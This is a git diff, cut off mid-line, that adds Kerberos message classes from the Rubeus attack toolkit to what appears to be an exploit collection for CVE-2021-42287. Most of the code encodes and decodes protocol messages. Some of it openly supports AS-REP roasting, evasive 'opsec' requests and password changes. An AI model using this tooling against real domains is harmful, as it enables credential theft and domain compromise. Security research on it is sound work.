+ AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes); + AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN }); + ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq); + + + // ticket [3] Ticket + AsnElt ticketASN = ticket.Encode(); + AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN }); + ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq); + + + // authenticator [4] EncryptedData + if (key == null) + { + Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ"); + return null; + } + + byte[] authenticatorBytes = authenticator.Encode().Encode(); + + byte[] encBytes = Crypto.KerberosEncrypt(enctype, keyUsage, key, authenticatorBytes); + + // create the EncryptedData structure to hold the authenticator bytes + EncryptedData authenticatorEncryptedData = new EncryptedData(); + authenticatorEncryptedData.etype = (int)enctype; + authenticatorEncryptedData.cipher = encBytes; + + AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode(); + AsnElt authenticatorEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authenticatorEncryptedDataASN }); + authenticatorEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authenticatorEncryptedDataSeq); + + // encode it all into a sequence + AsnElt[] total = new[] { pvnoSeq, msg_typeSeq, ap_optionsSeq, ticktSeq, authenticatorEncryptedDataSeq }; + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); + + // AP-REQ ::= [APPLICATION 14] + // put it all together and tag it with 14 + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 14, totalSeq); + + return totalSeq; + } + + + public long pvno { get; set;} + + public long msg_type { get; set; } + + public UInt32 ap_options { get; set; } + + public Ticket ticket { get; set; } + + public Authenticator authenticator { get; set; } + + public byte[] key { get; set; } + + private Interop.KERB_ETYPE enctype; + + private int keyUsage; + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AS_REP.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AS_REP.cs new file mode 100644 index 0000000..29b990a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AS_REP.cs @@ -0,0 +1,105 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + public class AS_REP + { + //AS-REP ::= [APPLICATION 11] KDC-REP + + //KDC-REP ::= SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (11 -- AS), + // padata [2] SEQUENCE OF PA-DATA OPTIONAL + // -- NOTE: not empty --, + // crealm [3] Realm, + // cname [4] PrincipalName, + // ticket [5] Ticket, + // enc-part [6] EncryptedData + // -- EncASRepPart + //} + + public AS_REP(byte[] data) + { + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt asn_AS_REP = AsnElt.Decode(data, false); + + this.Decode(asn_AS_REP); + } + + public AS_REP(AsnElt asn_AS_REP) + { + this.Decode(asn_AS_REP); + } + + private void Decode(AsnElt asn_AS_REP) + { + // AS-REP::= [APPLICATION 11] KDC-REQ + if (asn_AS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REP) + { + throw new System.Exception("AS-REP tag value should be 11"); + } + + if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16)) + { + throw new System.Exception("First AS-REP sub should be a sequence"); + } + + // extract the KDC-REP out + AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub; + padata = new List(); + + foreach (AsnElt s in kdc_rep) + { + switch (s.TagValue) + { + case 0: + pvno = s.Sub[0].GetInteger(); + break; + case 1: + msg_type = s.Sub[0].GetInteger(); + break; + case 2: + // sequence of pa-data + foreach(AsnElt pad in s.Sub) { + padata.Add(new PA_DATA(pad.Sub[0])); + } + break; + case 3: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 4: + cname = new PrincipalName(s.Sub[0]); + break; + case 5: + ticket = new Ticket(s.Sub[0].Sub[0]); + break; + case 6: + enc_part = new EncryptedData(s.Sub[0]); + break; + default: + break; + } + } + } + + // won't really every need to *create* a AS reply, so no encode + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public List padata { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public Ticket ticket { get; set; } + + public EncryptedData enc_part { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AS_REQ.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AS_REQ.cs new file mode 100644 index 0000000..1ee7ef2 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AS_REQ.cs @@ -0,0 +1,301 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Security.Cryptography.X509Certificates; + +namespace Rubeus +{ + //AS-REQ ::= [APPLICATION 10] KDC-REQ + + //KDC-REQ ::= SEQUENCE { + // -- NOTE: first tag is [1], not [0] + // pvno [1] INTEGER (5) , + // msg-type [2] INTEGER (10 -- AS), + // padata [3] SEQUENCE OF PA-DATA OPTIONAL + // -- NOTE: not empty --, + // req-body [4] KDC-REQ-BODY + //} + + public class AS_REQ + { + public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE etype, bool opsec = false) + { + // build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP + // used for AS-REP-roasting + + AS_REQ req = new AS_REQ(opsec); + + // set the username to roast + req.req_body.cname.name_string.Add(userName); + + // the realm (domain) the user exists in + req.req_body.realm = domain; + + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(domain); + + // try to build a realistic request + if (opsec) + { + string hostName = Dns.GetHostName(); + List addresses = new List(); + addresses.Add(new HostAddress(hostName)); + req.req_body.addresses = addresses; + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5); + + } + else + { + // add in our encryption type + req.req_body.etypes.Add(etype); + } + + return req; + } + + public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool changepw = false, bool pac = true) + { + // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP + // used for "legit" AS-REQs w/ pre-auth + + // set pre-auth + AS_REQ req = new AS_REQ(keyString, etype, opsec, pac); + + // req.padata.Add() + + // set the username to request a TGT for + req.req_body.cname.name_string.Add(userName); + + // the realm (domain) the user exists in + req.req_body.realm = domain; + + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + + if (!changepw) { + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(domain); + } else { + req.req_body.sname.name_string.Add("kadmin"); + req.req_body.sname.name_string.Add("changepw"); + } + + // try to build a realistic request + if (opsec) + { + string hostName = Dns.GetHostName(); + List addresses = new List(); + addresses.Add(new HostAddress(hostName)); + req.req_body.addresses = addresses; + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp); + req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5); + } + else + { + // add in our encryption type + req.req_body.etypes.Add(etype); + } + + return req; + } + + //TODO: Insert DHKeyPair parameter also. + public static AS_REQ NewASReq(string userName, string domain, X509Certificate2 cert, KDCKeyAgreement agreement, Interop.KERB_ETYPE etype, bool verifyCerts = false) { + + // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP + // used for "legit" AS-REQs w/ pre-auth + + // set pre-auth + AS_REQ req = new AS_REQ(cert, agreement, verifyCerts); + + // req.padata.Add() + + // set the username to request a TGT for + req.req_body.cname.name_string.Add(userName); + + // the realm (domain) the user exists in + req.req_body.realm = domain; + + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST; + req.req_body.sname.name_string.Add("krbtgt"); + req.req_body.sname.name_string.Add(domain); + + // add in our encryption type + req.req_body.etypes.Add(etype); + + return req; + } + + public AS_REQ(bool opsec = false) + { + // default, for creation + pvno = 5; + msg_type = (long)Interop.KERB_MESSAGE_TYPE.AS_REQ; + + padata = new List(); + padata.Add(new PA_DATA()); + + req_body = new KDCReqBody(true, opsec); + } + + public AS_REQ(string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool pac = true) + { + // default, for creation + pvno = 5; + msg_type = (long)Interop.KERB_MESSAGE_TYPE.AS_REQ; + + padata = new List(); + + // add the encrypted timestamp + padata.Add(new PA_DATA(keyString, etype)); + + // add the include-pac == true + padata.Add(new PA_DATA(pac)); + + req_body = new KDCReqBody(true, opsec); + + this.keyString = keyString; + } + + public AS_REQ(X509Certificate2 pkCert, KDCKeyAgreement agreement, bool verifyCerts = false) { + + // default, for creation + pvno = 5; + msg_type = 10; + + padata = new List(); + + req_body = new KDCReqBody(); + + // add the include-pac == true + padata.Add(new PA_DATA()); + + // add the encrypted timestamp + padata.Add(new PA_DATA(pkCert, agreement, req_body, verifyCerts)); + } + + public AS_REQ(byte[] data) + { + // decode the supplied bytes to an AsnElt object + data = AsnIO.FindBER(data); + AsnElt asn_AS_REQ = AsnElt.Decode(data); + padata = new List(); + + // AS-REQ::= [APPLICATION 10] KDC-REQ + // tag class == 1 + // tag class == 10 + // SEQUENCE + if (asn_AS_REQ.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REQ) + { + throw new System.Exception("AS-REQ tag value should be 10"); + } + + if ((asn_AS_REQ.Sub.Length != 1) || (asn_AS_REQ.Sub[0].TagValue != 16)) + { + throw new System.Exception("First AS-REQ sub should be a sequence"); + } + + // extract the KDC-REP out + AsnElt[] kdc_req = asn_AS_REQ.Sub[0].Sub; + + foreach (AsnElt s in kdc_req) + { + switch (s.TagValue) + { + case 1: + pvno = s.Sub[0].GetInteger(); + break; + case 2: + msg_type = s.Sub[0].GetInteger(); + break; + case 3: + // sequence of pa-data + foreach(AsnElt pa in s.Sub[0].Sub) + { + padata.Add(new PA_DATA(pa)); + } + break; + case 4: + // KDC-REQ-BODY + req_body = new KDCReqBody(s.Sub[0]); + break; + default: + throw new System.Exception(String.Format("Invalid tag AS-REQ value : {0}", s.TagValue)); + } + } + } + + public AsnElt Encode() + { + // pvno [1] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, pvnoSeq); + + + // msg-type [2] INTEGER (10 -- AS -- ) + AsnElt msg_type_ASN = AsnElt.MakeInteger(msg_type); + AsnElt msg_type_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_type_ASN }); + msg_type_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, msg_type_ASNSeq); + + // padata [3] SEQUENCE OF PA-DATA OPTIONAL + List padatas = new List(); + foreach (PA_DATA pa in padata) + { + padatas.Add(pa.Encode()); + } + + // req-body [4] KDC-REQ-BODY + AsnElt req_Body_ASN = req_body.Encode(); + AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN }); + req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq); + + AsnElt padata_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, padatas.ToArray()); + AsnElt padata_ASNSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { padata_ASNSeq }); + padata_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, padata_ASNSeq2); + + // encode it all into a sequence + AsnElt[] total = new[] { pvnoSeq, msg_type_ASNSeq, padata_ASNSeq, req_Body_ASNSeq }; + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, total); + + // AS-REQ ::= [APPLICATION 10] KDC-REQ + // put it all together and tag it with 10 + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + totalSeq = AsnElt.MakeImplicit(AsnElt.APPLICATION, 10, totalSeq); + + return totalSeq; + } + + public long pvno { get; set;} + + public long msg_type { get; set; } + + //public PAData[] padata { get; set; } + public List padata { get; set; } + + public KDCReqBody req_body { get; set; } + + //Ugly hack to make keyString available to + //the generic InnerTGT function + public string keyString { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Authenticator.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Authenticator.cs new file mode 100644 index 0000000..b2a9b06 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Authenticator.cs @@ -0,0 +1,141 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class Authenticator + { + //Authenticator ::= [APPLICATION 2] SEQUENCE { + // authenticator-vno [0] INTEGER (5), + // crealm [1] Realm, + // cname [2] PrincipalName, + // cksum [3] Checksum OPTIONAL, + // cusec [4] Microseconds, + // ctime [5] KerberosTime, + // subkey [6] EncryptionKey OPTIONAL, + // seq-number [7] UInt32 OPTIONAL, + // authorization-data [8] AuthorizationData OPTIONAL + //} + + // NOTE: we're only using: + // authenticator-vno [0] + // crealm [1] + // cname [2] + // cusec [4] + // ctime [5] + + public Authenticator() + { + authenticator_vno = 5; + + crealm = ""; + + cksum = null; + + cname = new PrincipalName(); + + cusec = 0; + + ctime = DateTime.UtcNow; + + subkey = null; + + seq_number = 0; + } + + public AsnElt Encode() + { + List allNodes = new List(); + + + // authenticator-vno [0] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(authenticator_vno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + allNodes.Add(pvnoSeq); + + + // crealm [1] Realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmSeq); + allNodes.Add(realmSeq); + + + // cname [2] PrincipalName + AsnElt snameElt = cname.Encode(); + snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameElt); + allNodes.Add(snameElt); + + // cksum [3] Checksum + if (cksum != null) + { + AsnElt checksumAsn = cksum.Encode(); + checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, checksumAsn); + allNodes.Add(checksumAsn); + } + + + // TODO: correct format (UInt32)? + // cusec [4] Microseconds + AsnElt nonceAsn = AsnElt.MakeInteger(cusec); + AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); + nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, nonceSeq); + allNodes.Add(nonceSeq); + + + // ctime [5] KerberosTime + AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, ctime.ToString("yyyyMMddHHmmssZ")); + AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn }); + tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); + allNodes.Add(tillSeq); + + if (subkey != null) + { + // subkey [6] EncryptionKey OPTIONAL + AsnElt keyAsn = subkey.Encode(); + keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, keyAsn); + allNodes.Add(keyAsn); + } + + if(seq_number != 0) + { + // seq-number [7] UInt32 OPTIONAL + AsnElt seq_numberASN = AsnElt.MakeInteger(seq_number); + AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq_numberASN }); + seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, seq_numberSeq); + allNodes.Add(seq_numberSeq); + } + + // package it all up + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + + + // tag the final total + AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq }); + final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final); + + return final; + } + + + public long authenticator_vno { get; set; } + + public string crealm { get; set; } + + public Checksum cksum { get; set; } + + public PrincipalName cname { get; set; } + + public long cusec { get; set; } + + public DateTime ctime { get; set; } + + public EncryptionKey subkey { get; set; } + + public UInt32 seq_number { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AuthorizationData.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AuthorizationData.cs new file mode 100644 index 0000000..fbc0ad1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/AuthorizationData.cs @@ -0,0 +1,55 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //AuthorizationData ::= SEQUENCE OF SEQUENCE { + // ad-type[0] Int32, + // ad-data[1] OCTET STRING + //} + + public abstract class AuthorizationData + { + public AuthorizationData() { } + + public AuthorizationData(Interop.AuthorizationDataType adtype) : this(adtype, null) + { + } + + public AuthorizationData(Interop.AuthorizationDataType adtype, byte[] data) + { + + ad_type = adtype; + ad_data = data; + } + + public AsnElt ADEncode() + { + // ad-type [0] Int32 + AsnElt adTypeElt = AsnElt.MakeInteger((long)ad_type); + AsnElt adTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adTypeElt }); + adTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, adTypeSeq); + + // ad-data [1] OCTET STRING + AsnElt adDataElt = AsnElt.MakeBlob(ad_data); + AsnElt adDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { adDataElt }); + adDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, adDataSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { adTypeSeq, adDataSeq }); + + return seq; + } + + public abstract AsnElt Encode(); + + protected abstract void Decode(AsnElt data); + + protected abstract void Decode(AsnElt data, byte[] asrepKey = null); + + public Interop.AuthorizationDataType ad_type { get; set; } + + public byte[] ad_data { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Checksum.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Checksum.cs new file mode 100644 index 0000000..678418f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/Checksum.cs @@ -0,0 +1,71 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class Checksum + { + //Checksum ::= SEQUENCE { + // cksumtype [0] Int32, + // checksum [1] OCTET STRING + //} + + public Checksum(byte[] data) + { + // KERB_CHECKSUM_HMAC_MD5 = -138 + cksumtype = -138; + + checksum = data; + } + + public Checksum(Interop.KERB_CHECKSUM_ALGORITHM cktype, byte[] data) + { + cksumtype = (int)cktype; + + checksum = data; + } + + public Checksum(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + cksumtype = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 2: + checksum = s.Sub[0].GetOctetString(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // cksumtype [0] Int32 + AsnElt cksumtypeAsn = AsnElt.MakeInteger(cksumtype); + AsnElt cksumtypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeAsn }); + cksumtypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, cksumtypeSeq); + + + // checksum [1] OCTET STRING + AsnElt checksumAsn = AsnElt.MakeBlob(checksum); + AsnElt checksumSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { checksumAsn }); + checksumSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumSeq); + + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cksumtypeSeq, checksumSeq }); + AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { totalSeq }); + return totalSeq2; + } + + public Int32 cksumtype { get; set; } + + public byte[] checksum { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKDCRepPart.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKDCRepPart.cs new file mode 100644 index 0000000..10494be --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKDCRepPart.cs @@ -0,0 +1,108 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class EncKDCRepPart + { + //EncKDCRepPart::= SEQUENCE { + // key[0] EncryptionKey, + // last-req[1] LastReq, + // nonce[2] UInt32, + // key-expiration[3] KerberosTime OPTIONAL, + // flags[4] TicketFlags, + // authtime[5] KerberosTime, + // starttime[6] KerberosTime OPTIONAL, + // endtime[7] KerberosTime, + // renew-till[8] KerberosTime OPTIONAL, + // srealm[9] Realm, + // sname[10] PrincipalName, + // caddr[11] HostAddresses OPTIONAL, + // encrypted-pa-data[12] SEQUENCE OF PA-DATA OPTIONAL + //} + + public EncKDCRepPart(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + key = new EncryptionKey(s); + break; + case 1: + lastReq = new LastReq(s.Sub[0]); + break; + case 2: + nonce = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 3: + key_expiration = s.Sub[0].GetTime(); + break; + case 4: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); + break; + case 5: + authtime = s.Sub[0].GetTime(); + break; + case 6: + starttime = s.Sub[0].GetTime(); + break; + case 7: + endtime = s.Sub[0].GetTime(); + break; + case 8: + renew_till = s.Sub[0].GetTime(); + break; + case 9: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 10: + // sname (optional) + sname = new PrincipalName(s.Sub[0]); + break; + case 11: + // HostAddresses, skipped for now + break; + case 12: + // encrypted-pa-data, skipped for now + break; + default: + break; + } + } + } + + // won't really ever need to *create* a KDC reply, so no Encode() + + public EncryptionKey key { get; set; } + + public LastReq lastReq { get; set; } + + public UInt32 nonce { get; set; } + + public DateTime key_expiration { get; set; } + + public Interop.TicketFlags flags { get; set; } + + public DateTime authtime { get; set; } + + public DateTime starttime { get; set; } + + public DateTime endtime { get; set; } + + public DateTime renew_till { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + // caddr (optional) - skip for now + + // encrypted-pa-data (optional) - skip for now + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKrbCredPart.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKrbCredPart.cs new file mode 100644 index 0000000..d71f17e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKrbCredPart.cs @@ -0,0 +1,57 @@ +using System; +using Asn1; +using System.Collections.Generic; + +namespace Rubeus +{ + //EncKrbCredPart ::= [APPLICATION 29] SEQUENCE { + // ticket-info [0] SEQUENCE OF KrbCredInfo, + // nonce [1] UInt32 OPTIONAL, + // timestamp [2] KerberosTime OPTIONAL, + // usec [3] Microseconds OPTIONAL, + // s-address [4] HostAddress OPTIONAL, + // r-address [5] HostAddress OPTIONAL + //} + + public class EncKrbCredPart + { + public EncKrbCredPart() + { + // TODO: defaults for creation + ticket_info = new List(); + } + + public EncKrbCredPart(AsnElt body) + { + ticket_info = new List(); + + byte[] octetString = body.Sub[1].Sub[0].GetOctetString(); + AsnElt body2 = AsnElt.Decode(octetString, false); + + // assume only one KrbCredInfo for now + KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]); + ticket_info.Add(info); + } + + public AsnElt Encode() + { + // ticket-info [0] SEQUENCE OF KrbCredInfo + // assume just one ticket-info for now + // TODO: handle multiple ticket-infos + AsnElt infoAsn = ticket_info[0].Encode(); + AsnElt seq1 = AsnElt.Make(AsnElt.SEQUENCE, new[] { infoAsn }); + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq1 }); + seq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, seq2); + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq2 }); + AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); + totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2); + + return totalSeq2; + } + + public List ticket_info { get; set; } + + // other fields are optional/not used in our use cases + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKrbPrivPart.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKrbPrivPart.cs new file mode 100644 index 0000000..4c29df8 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/EncKrbPrivPart.cs @@ -0,0 +1,104 @@ +using System; +using Asn1; +using System.Collections.Generic; +using System.Text; +using System.IO; + +namespace Rubeus +{ + //EncKrbPrivPart ::= [APPLICATION 28] SEQUENCE { + // user-data [0] OCTET STRING, + // timestamp [1] KerberosTime OPTIONAL, + // usec [2] Microseconds OPTIONAL, + // seq-number [3] UInt32 OPTIONAL, + // s-address [4] HostAddress -- sender's addr --, + // r-address [5] HostAddress OPTIONAL -- recip's addr + //} + + // NOTE: we only use: + // user-data [0] OCTET STRING + // seq-number [3] UInt32 OPTIONAL + // s-address [4] HostAddress + + // only used by the changepw command + + public class EncKrbPrivPart + { + public EncKrbPrivPart() : this("", ""){} + + public EncKrbPrivPart(string newPassword, string hostName) : this(null, null, newPassword, hostName){} + + public EncKrbPrivPart(string username, string realm, string newPassword, string hostName) { + + this.username = username; + this.realm = realm; + new_password = newPassword; + + var rand = new Random(); + seq_number = (UInt32)rand.Next(1, Int32.MaxValue); + + host_name = hostName; + } + + public AsnElt Encode() + { + // user-data [0] OCTET STRING + byte[] pwBytes = Encoding.ASCII.GetBytes(new_password); + AsnElt new_passwordAsn = AsnElt.MakeBlob(pwBytes); + + AsnElt new_passwordSeq; + if (username == null) + new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeExplicit(AsnElt.CONTEXT, 0, new_passwordAsn), + }); + else { + + PrincipalName principal = new PrincipalName(username); + + new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeExplicit(AsnElt.CONTEXT, 0, new_passwordAsn), + AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, principal.Encode()), + AsnElt.MakeExplicit(AsnElt.CONTEXT, 2, AsnElt.MakeString(AsnElt.GeneralString, realm)), + }); + } + + new_passwordSeq = AsnElt.MakeExplicit(AsnElt.CONTEXT, 0, AsnElt.MakeBlob(new_passwordSeq.Encode())); + + // seq-number [3] UInt32 OPTIONAL + AsnElt seq_numberAsn = AsnElt.MakeInteger(seq_number); + AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq_numberAsn }); + seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, seq_numberSeq); + + // s-address [4] HostAddress + AsnElt hostAddressTypeAsn = AsnElt.MakeInteger(20); + AsnElt hostAddressTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressTypeAsn }); + hostAddressTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, hostAddressTypeSeq); + + byte[] hostAddressAddressBytes = 